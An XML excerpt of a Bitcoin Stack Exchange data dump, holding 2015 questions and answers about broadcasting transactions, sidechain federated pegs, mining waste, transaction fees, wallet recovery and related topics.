  <row Id="37861" PostTypeId="2" ParentId="37839" CreationDate="2015-06-08T21:06:03.410" Score="1" Body="&lt;p&gt;It's absolutely possible to loan money with Bitcoin. &lt;a href=&quot;https://www.reddit.com/r/FairShareLoans/&quot; rel=&quot;nofollow&quot;&gt;FairShareLoans&lt;/a&gt; is a subreddit where money is automatically loaned out in ~20$ increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Collecting on those loans, on the other hand, is more difficult. &lt;a href=&quot;https://www.reddit.com/r/FairShareLoans/comments/35vc5s/the_current_loansheet/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/FairShareLoans/comments/35vc5s/the_current_loansheet/&lt;/a&gt; They appear to have a non-repayment rate of about ten percent.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-06-08T21:06:03.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37862" PostTypeId="1" CreationDate="2015-06-08T21:37:04.743" Score="5" ViewCount="1844" Body="&lt;p&gt;What is the best way to broadcast a transaction to the network programatically? I know that blockchain.info has /pushtx but I'm pretty sure it rejects XHR requests from external sources because of CORS.&lt;/p&gt;&#xA;" OwnerUserId="26825" LastEditorUserId="5406" LastEditDate="2015-12-06T17:32:43.073" LastActivityDate="2024-03-01T02:03:48.330" Title="How do you broadcast a transaction programatically?" Tags="|transactions|blockchain.info|bitcoinjs|broadcast|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37863" PostTypeId="2" ParentId="37860" CreationDate="2015-06-08T21:51:43.417" Score="0" Body="&lt;p&gt;I don't remember exactly but i think all you need to do is put the bootstrap file in the data directory of bitcoin and then just start bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However note that bootstrap is obsolete as of version 0.10 and downloading is faster and (disk usage lower) without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't waste too much time trying to get it to work if bandwidth is not costly for you.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-06-08T21:51:43.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37864" PostTypeId="2" ParentId="37862" CreationDate="2015-06-08T22:58:55.783" Score="1" Body="&lt;p&gt;I found what I was looking for. Blockr.io has a good service for publishing transactions to the network. This is the url that you would send a post request to&#xA;&lt;a href=&quot;http://btc.blockr.io/api/v1/tx/push&quot; rel=&quot;nofollow&quot;&gt;http://btc.blockr.io/api/v1/tx/push&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to send it the transaction as a post request like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;hex&quot; : your transaction in hex} &lt;/p&gt;&#xA;" OwnerUserId="26825" LastActivityDate="2015-06-08T22:58:55.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37865" PostTypeId="1" CreationDate="2015-06-08T23:40:26.917" Score="3" ViewCount="584" Body="&lt;p&gt;I'm looking for information on Bitcoin regulation for companies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Bitcoin is commodity, if you are a company and selling bitcoins you need to have license.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the licenses and regulators working with them? I am interested in creating a company that sells bitcoins to consumers.&lt;/p&gt;&#xA;" OwnerUserId="26817" LastEditorUserId="5406" LastEditDate="2015-06-12T22:10:22.253" LastActivityDate="2015-10-31T12:51:29.077" Title="What regulations are in place for Bitcoin in California?" Tags="|exchanges|sell-bitcoins|regulation|financial-regulations|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37868" PostTypeId="1" AcceptedAnswerId="37871" CreationDate="2015-06-09T01:08:01.683" Score="2" ViewCount="118" Body="&lt;p&gt;The answer to the question &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#If_every_transaction_is_broadcast_via_the_network.2C_does_Bitcoin_scale.3F&quot; rel=&quot;nofollow&quot;&gt;&quot;Why do I have to wait 10 minutes before I can spend money I received?&quot;&lt;/a&gt;  in the FAQ of Bitcoin contains the sentence &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;For example, if it takes miners 1 minute on average to learn about new blocks, and new blocks come every 10 minutes, then the overall network is wasting about 10% of its work.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I couldn't get it... What I thought is that only one miner will be the creator the new block, so all the other miners who fail to be the creator have wasted their work. So the waste ratio of overall network should be huge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why am I wrong? Can you correct me? Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="26828" LastEditorUserId="5406" LastEditDate="2016-03-16T11:02:00.607" LastActivityDate="2016-03-16T11:02:00.607" Title="What is the waste ratio of the overall network?" Tags="|security|mining-profitability|relay|block-propagation-time|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37870" PostTypeId="2" ParentId="37856" CreationDate="2015-06-09T04:52:10.680" Score="9" Body="&lt;p&gt;Tim S. pretty much covered it, but I wanted to 2 great resources which have been very helpful for myself and many others:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ken Shirriff's blog has a few Bitcoin mining related posts which use Python code to great effectiveness; whilst &lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Mining The Hard Way&lt;/a&gt; is probably the most useful, there's also some novel use cases where Ken tries Bitcoin mining by hand and &lt;a href=&quot;http://www.righto.com/2015/05/bitcoin-mining-on-55-year-old-ibm-1401.html&quot; rel=&quot;noreferrer&quot;&gt;using a 55 year old mainframe&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Not specifically related to mining, but very useful in visualising related concepts is &lt;a href=&quot;http://royalforkblog.com&quot; rel=&quot;noreferrer&quot;&gt;RoyalFork Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-09T04:52:10.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37871" PostTypeId="2" ParentId="37868" CreationDate="2015-06-09T05:07:56.543" Score="3" Body="&lt;p&gt;The waste ratio you are talking about is different from the one mentioned there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are talking about is the difficulty: if the network's total hash rate is X hashes/second, then the difficulty is set such that it requires 600*X hashes to create a block on average. This does not mean that separate miners are wasting their work, because if the difficulty increases, so does how much every block is &quot;worth&quot; in terms of contribution to the network. They are all simultaneously looking for the next block, and all of them have at every point the same chance. Every attempt to find the new block is independent from all others, and independent from how much time they or others have already spent on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What that page is talking about is loss of security. When blocks do not propagate immediately to other peers across the network, miners are effectively competing with each other rather than building on top of each other's work during that time (they are always competing for income, but here I mean competing to build the next best chain itself). Their work is wasted because the hashrate an attacker has to compete with is lower than the sum of the hash rates of the honest contributors.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="13440" LastEditDate="2015-06-30T06:57:06.330" LastActivityDate="2015-06-30T06:57:06.330" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37873" PostTypeId="1" CreationDate="2015-06-09T08:48:47.553" Score="1" ViewCount="494" Body="&lt;p&gt;I mean not just prices but candlestick and other data that usually is available on FX platforms?&lt;/p&gt;&#xA;" OwnerUserId="17132" LastActivityDate="2018-06-28T07:32:03.013" Title="Is there a service providing historical data for crypto exchanges?" Tags="|exchanges|historical-trade-data|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37874" PostTypeId="2" ParentId="37840" CreationDate="2015-06-09T09:10:01.400" Score="2" Body="&lt;h2&gt;The problem Bitcoin solves&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin provides a method for tracking scarce digital assets. This was previously solved by central entities providing an authenticator role and exerting control. Bitcoin solves this problem by creating a truth source from network consensus. Besides for its payment application, this truth source can be employed in a number of different ways, such as proof of existence, identity management, and due to its limited supply perhaps as a digital gold. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By nature, decentral systems are inefficient: For a big entity, i.e. countries or companies, with reasonable grounds to trust their own central truth source, there are more efficient ways of accounting their monetary flows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchains in general are only as valuable as they are secure, so I think it will be unlikely that there will be numerous competing services based on different blockchains, rather I think that there will be few, and additional services built on top of them, in the fashion of &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5695/5406&quot;&gt;Colored Coins&lt;/a&gt; or sidechains.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blockchain Security Vulnerabilities&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37851/5406&quot;&gt;moshaholo already said&lt;/a&gt; the only &lt;a href=&quot;https://bitcoin.stackexchange.com/a/422/5406&quot;&gt;known fundamental vulnerabilities&lt;/a&gt; are double-spending and majority attacks. While these are currently reasonably unlikely in Bitcoin, other blockchain projects with less hashpower have turned to implement additional measures to protect their integrity: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alternative Mining algorithm, e.g. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/275/5406&quot;&gt;Merged Mining&lt;/a&gt;, Scrypt, X11, X13, X15, NIST5, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/9082/5406&quot;&gt;POS&lt;/a&gt;, SHA-3, multialgorithm mining&lt;/li&gt;&#xA;&lt;li&gt;Alternative Difficulty adjustment algorithms, e.g. &lt;a href=&quot;https://bitcoin.stackexchange.com/q/21730/5406&quot;&gt;Kimoto Gravity Well&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extensive Checkpointing&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There may be bugs in Bitcoin Core that haven't been discovered yet, however the implementation of alternative client software is helping to uncover unexpected behaviour as the network matures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lesser problems include that &lt;a href=&quot;https://bitcoin.stackexchange.com/q/915/5406&quot;&gt;correct time cannot be enforced on the network&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/a/61/5406&quot;&gt;traceability of payments&lt;/a&gt; can lead to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/7966/5406&quot;&gt;reduced fungibility&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/52/5406&quot;&gt;loss of privacy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Are there entry and exit security concerns?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While interaction on the blockchain is secure and mostly trustless, there are challenges with&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wallet security&lt;/li&gt;&#xA;&lt;li&gt;exchanging currency for bitcoin: counter-party risk, fraud by charge-back, scams&lt;/li&gt;&#xA;&lt;li&gt;verifying authenticity of business partner's information&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Identity on the network&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As every user can use as many addresses as they want, identity on the network can be fairly private or as public as one wants. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/442/5406&quot;&gt;Privacy takes some effort&lt;/a&gt;, as one can &lt;a href=&quot;https://bitcoin.stackexchange.com/a/7450/5406&quot;&gt;reveal common ownership of addresses&lt;/a&gt; e.g. by using them together as inputs for a transaction, or by creating obvious change outputs.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-06-09T09:30:09.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37875" PostTypeId="2" ParentId="37847" CreationDate="2015-06-09T10:39:10.310" Score="-1" Body="&lt;pre&gt;&lt;code&gt;if(number_format($_POST['amount'], 8)&amp;gt;.00009){&#xA;&#xA;$amount=number_format($_POST['amount'], 8);&#xA;&#xA;$bitcoin-&amp;gt;sendfrom($this-&amp;gt;session-&amp;gt;userdata('account'), $_POST['address'], (float)$amount);&#xA;&#xA;}&#xA;else{&#xA;&#xA;echo &quot;Tumbling is not possible vai php&quot;;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="5406" LastEditDate="2019-08-09T02:02:29.923" LastActivityDate="2019-08-09T02:02:29.923" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37876" PostTypeId="1" CreationDate="2015-06-09T12:02:53.973" Score="8" ViewCount="2351" Body="&lt;p&gt;I am reading about side-chains, and what I read in &lt;a href=&quot;https://blockstream.com/2015/06/08/714/&quot; rel=&quot;noreferrer&quot;&gt;this article&lt;/a&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The initial sidechain included in Sidechain Elements works on a&#xA;  federated security model; while it’s still peer-to-peer and&#xA;  consensus-based, security for the blockchain is provided by a set of&#xA;  predefined functionaries in an arrangement called a Fed-Peg. A number&#xA;  of academic groups and individual contributors have agreed to run the&#xA;  Sidechain Elements Fed-Peg, including blockchain groups at Stanford,&#xA;  MIT, and Princeton. The sidechain does not include mining or&#xA;  proof-of-work at this point.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have no idea what that means. What is &quot;fed-peg&quot;? Why is that needed? Does it change in any way the security of the main chain? How does it differ from decentralized PoW? &lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2017-04-22T00:57:33.187" Title="What is &quot;fed-peg&quot; and &quot;predefined functionaries&quot; with sidechains?" Tags="|sidechains|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37877" PostTypeId="1" AcceptedAnswerId="37878" CreationDate="2015-06-09T13:07:56.523" Score="1" ViewCount="197" Body="&lt;p&gt;After going through the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow&quot;&gt;bitcoin protocol documentation&lt;/a&gt; it is still unclear to me how the bitcoin client is authenticated. Where can I find an overview of what the client sends and receives on the wire during authentication?&lt;/p&gt;&#xA;" OwnerUserId="12893" LastActivityDate="2015-06-09T13:12:34.613" Title="Authentication and key distribution in bitcoin" Tags="|bitcoind|protocol|encryption|cryptography|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37878" PostTypeId="2" ParentId="37877" CreationDate="2015-06-09T13:12:34.613" Score="2" Body="&lt;p&gt;There is no &quot;authentication&quot; in bitcoin protocol. It is not encrypted also. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use wireshark to investigate handshake packets&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-09T13:12:34.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37879" PostTypeId="2" ParentId="37876" CreationDate="2015-06-09T16:42:14.423" Score="2" Body="&lt;p&gt;It means that, unfortunately, they still can't figure out how to make a sidechain work without either a central authority or its own independently-mined chain (i.e. a full-fledged altcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is sad, because it was the one thing they kept promising sidechains would bring us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But yet we're still back where we started: if you want a cryptocurrency with a feature bitcoin doesn't have, and you don't want a central trusted authority (like Ripple), you need to start an altcoin.  Sidechains have not changed anything here.&lt;/p&gt;&#xA;" OwnerUserId="26840" LastEditorUserId="26840" LastEditDate="2015-06-09T17:30:33.723" LastActivityDate="2015-06-09T17:30:33.723" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37880" PostTypeId="2" ParentId="37859" CreationDate="2015-06-09T17:18:16.483" Score="2" Body="&lt;p&gt;Your posted transaction has a tx fee of 0.5 XTN:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Version:  1  tx hash 7f1aa3a20163a9d4058940dd6af29b3f7aefc037b2f3b21133a1413a990bc4e7  192 bytes   &#xA;TxIn count: 1; TxOut count: 1&#xA;Lock time: 0 (valid anytime)&#xA;Input:&#xA;   0: mjKj3fFKUBMfYiozTw4jngpuDQRjarn62F from 32b88bf17552d1d8075e4086836fa587b40a16a0076877136144e445be0e9d65:1      2000.00000 mBTC  sig ok&#xA;Output:&#xA;   0: mrMEaWKfkJZcAN52VqNxKkF21uvf9HF9G7 receives   1500.00000 mBTC&#xA;Total input    2000.00000 mBTC&#xA;Total output   1500.00000 mBTC&#xA;Total fees      500.00000 mBTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which exceeds the default max &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/11855c1f990a4a66f55de60a30a8898ccbf766ec&quot; rel=&quot;nofollow&quot;&gt;imposed by Bitcoin Core&lt;/a&gt; of &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.10.2/src/wallet.h#L44&quot; rel=&quot;nofollow&quot;&gt;0.1 XTN (or BTC)&lt;/a&gt;. Please try adding the &lt;code&gt;-maxtxfee=&amp;lt;amt&amp;gt;&lt;/code&gt; option to bitcoind's command line, and report back if you're still having difficulty.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-06-09T17:18:16.483" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37881" PostTypeId="2" ParentId="37876" CreationDate="2015-06-09T18:22:34.573" Score="-2" Body="&lt;p&gt;A tiny bit of detail on this was added as an &quot;Appendix A&quot; to the &lt;a href=&quot;http://updates.blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;sidechains paper&lt;/a&gt; at some point:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By adopting some additional security assumptions at the expense of the&#xA;  low trust design objective, it is possible to do an initial&#xA;  deployment in a completely permissionless way. The key observation is&#xA;  that any enhancement to Bitcoin Script can be implemented externally&#xA;  by having a trusted federation of mutually distrusting functionaries&#xA;  evaluate the script and accept by signing for an ordinary&#xA;  multisignature script. That is, the functionaries act as a protocol&#xA;  adaptor by evaluating the same rules we would have wanted Bitcoin to&#xA;  evaluate, but cannot for lack of script enhancements. Using this we&#xA;  can achieve a federated peg.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically it's a cabal of &quot;trusted miners&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the main bitcoin chain miners don't understand the sidechain's cool new features they can't validate those blocks.  So the sidechain has to be run Ripple-style where there is a pool of trusted miners and one of them has to sign off on each block.  These trusted miners (which they call &quot;functionaries&quot;) hold special private keys, and the corresponding public keys are hardwired into the source code.  These central authorities have the power to block the chain's progress, exclude transactions, or even freeze accounts.&lt;/p&gt;&#xA;" OwnerUserId="26840" LastActivityDate="2015-06-09T18:22:34.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37882" PostTypeId="5" CreationDate="2015-06-09T20:10:53.230" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-09T20:10:53.230" LastActivityDate="2015-06-09T20:10:53.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37883" PostTypeId="4" CreationDate="2015-06-09T20:10:53.230" Score="0" Body="A majority attack, or 51% attack, is an attempt at solo-mining a longer chain to outpace the main chain." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-09T20:10:53.230" LastActivityDate="2015-06-09T20:10:53.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37884" PostTypeId="2" ParentId="19083" CreationDate="2015-06-09T20:18:49.557" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/19129/5406&quot;&gt;@DavidSchwartz' answer&lt;/a&gt;, covers most of the question, but to address the last point:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If difficulty were perpetually at minimum, would the probability of a 51% attack skyrocket?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A very low difficulty would increase the probability of a majority attack. This would not be a direct effect of the difficulty, but indirectly due to the time required for block-propagation. At a very low difficulty, the party with the highest hash-power would be able to churn out a lot of blocks quickly and could immediately start building on top of those again, while other miners would be hampered by the block propagation latency.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-06-09T20:18:49.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37885" PostTypeId="2" ParentId="37876" CreationDate="2015-06-09T20:55:16.123" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have no idea what that means. What is &quot;fed-peg&quot;? Why is that needed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you're creating a sidechain, you need a way to move Bitcoins from the main network to your sidechain. This is pretty straightforward. Counterparty, Ethereum, and NXT had various ways of doing this. (Admittedly, none of these allowed people to turn Bitcoin into the assets on these networks after they started, but I suspect that's due to economic reasons rather than technical ones.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more complicated, and more important issue, is how you move Bitcoins that are on the sidechain back into the main network. I've heard multiple proposals on how to do this, but all of them are either  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;insecure,&lt;/li&gt;&#xA;&lt;li&gt;centralized,&lt;/li&gt;&#xA;&lt;li&gt;or require very complicated changes to the Bitcoin protocol. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This approach is centralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea with that you have several authorities, each of whom has a private key. Those private keys together control a multisignature account. When you move Bitcoins onto the sidechain, you deposit them into the multisignature account. When you want to move them back to the main chain, you do so on the sidechain; those federated authorities will independently validate that transaction. Then, all of them sign a withdrawal from the multisignature account to the main network address you specified in your sidechain transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockstream paper suggests a 3 of 5 multisignature account. The issue with this is that if 3 of those keys are compromised (or if 3 of them collude) then they can take all of the money out of the multisignature account.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does it change in any way the security of the main chain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. It doesn't modify the main network. Future incarnations might, though. There's not enough detail about those possible future systems to answer that at present.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does it differ from decentralized PoW?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The federated authorities have two roles in this system: gating transactions into the system by producing timestamped blocks, (something normally done by miners) and the previously mentioned multisignature account.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-09-09T22:59:31.630" LastActivityDate="2015-09-09T22:59:31.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37886" PostTypeId="1" AcceptedAnswerId="37891" CreationDate="2015-06-09T21:01:28.377" Score="3" ViewCount="2629" Body="&lt;p&gt;When installing the nxt nrs client from scratch I need to redownload the nxt_db database blockchain. Is there a place where I can just download it from directly on a fast connection? It seems that it takes at least 3+ hours to download the nxt blockchain from other peers. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-04-05T11:18:57.107" Title="Where can I direct download the NXT blockchain data instead of from the client?" Tags="|blockchain|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37887" PostTypeId="2" ParentId="7697" CreationDate="2015-06-09T21:05:27.820" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitpay/bitcore-wallet-service#security-considerations&quot; rel=&quot;nofollow&quot;&gt;bitcore-wallet-service&lt;/a&gt; by Bitpay seems to satisfy your conditions, in that it does not require you to log in or send the private key.&lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2015-06-09T21:05:27.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37888" PostTypeId="1" CreationDate="2015-06-09T23:57:59.583" Score="1" ViewCount="415" Body="&lt;p&gt;Where to get blockchain dump in machine readable format. Text files of JSON will be perfect . I found PSQL database at &lt;a href=&quot;http://dumps.webbtc.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://dumps.webbtc.com/bitcoin/&lt;/a&gt; . Any other source?&lt;/p&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-06-09T23:57:59.583" Title="Source for blockchain dump in machine readable format" Tags="|blockchain|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37889" PostTypeId="1" CreationDate="2015-06-10T01:57:47.897" Score="1" ViewCount="791" Body="&lt;p&gt;Sequence of event:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) backup of wallet created&#xA;b) created new receiving address&#xA;c) coins tranferred to new address&#xA;d) wallet deleted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've restored the wallet from (a) - but it does not have the address (created in b) I'd transferred the coins to. Can I assume the coins are now gone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="26845" LastEditorUserId="2306" LastEditDate="2015-06-11T17:04:17.997" LastActivityDate="2015-06-11T17:04:17.997" Title="Deleted wallet and missing coins" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="37890" PostTypeId="1" AcceptedAnswerId="37892" CreationDate="2015-06-10T06:09:22.567" Score="2" ViewCount="453" Body="&lt;p&gt;I have been trying to send &lt;a href=&quot;https://gist.github.com/simcity4242/aaa4f6bec0b47dcf4324&quot; rel=&quot;nofollow&quot;&gt;a signed transaction&lt;/a&gt; using pybitcointools (Python) using the &lt;code&gt;blockr_pushtx&lt;/code&gt; function, however it consistently returns &lt;code&gt;Exception: {&quot;status&quot;:&quot;fail&quot;,&quot;data&quot;:&quot;Could not push your transaction!&quot;,&quot;code&quot;:500,&quot;message&quot;:&quot;Did you sign your transaction?&quot;}&lt;/code&gt;. The signature isn't the issue. It is likely to be an issue with the size of the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one go about pushing a sizable raw transaction (Testnet, in this case, but both mainnet/testnet answers appreciated) without needing to use Bitcoin Core?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-10T07:34:03.447" Title="Pushing a large signed transaction (testnet) using Python" Tags="|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37891" PostTypeId="2" ParentId="37886" CreationDate="2015-06-10T06:45:51.763" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;a href=&quot;http://www.peerexplorer.com&quot; rel=&quot;nofollow&quot;&gt;http://www.peerexplorer.com&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the orange link at the bottom of the page: &quot;Download Nxt Blockchain&quot; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the pop-up window, click on the &quot;Mirror 1&quot; link. This takes you to dropbox.com.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &quot;Download&quot;. You can skip registration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2015-06-10T06:45:51.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37892" PostTypeId="2" ParentId="37890" CreationDate="2015-06-10T07:34:03.447" Score="1" Body="&lt;p&gt;Isn't it possible to switch pybitcointools to another service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;a href=&quot;http://webbtc.com/api/relay&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/api/relay&lt;/a&gt; The API should be similar (I haven't tested both)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to check tx for validity (by send attempt) here: &lt;a href=&quot;http://webbtc.com/relay_tx&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/relay_tx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There are testnet API there, my links are for mainnet)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-06-10T07:34:03.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37893" PostTypeId="2" ParentId="9859" CreationDate="2015-06-10T10:56:15.600" Score="-2" Body="&lt;p&gt;It is possible to take down the pools but even if you took down 30% of all the pools you would still have only dented the hashrate very slightly. On top of that the DDOS power needed would be EXTREAME and with that power you might as well just mine bitcoins with all of those computers participating in the attack. Plus people solo mine if they have HUGE computing centers, and you could not ddos solo miners without knowing their IP's and even if you did they would probably have ddos protection.&lt;/p&gt;&#xA;" OwnerUserId="26848" LastActivityDate="2015-06-10T10:56:15.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
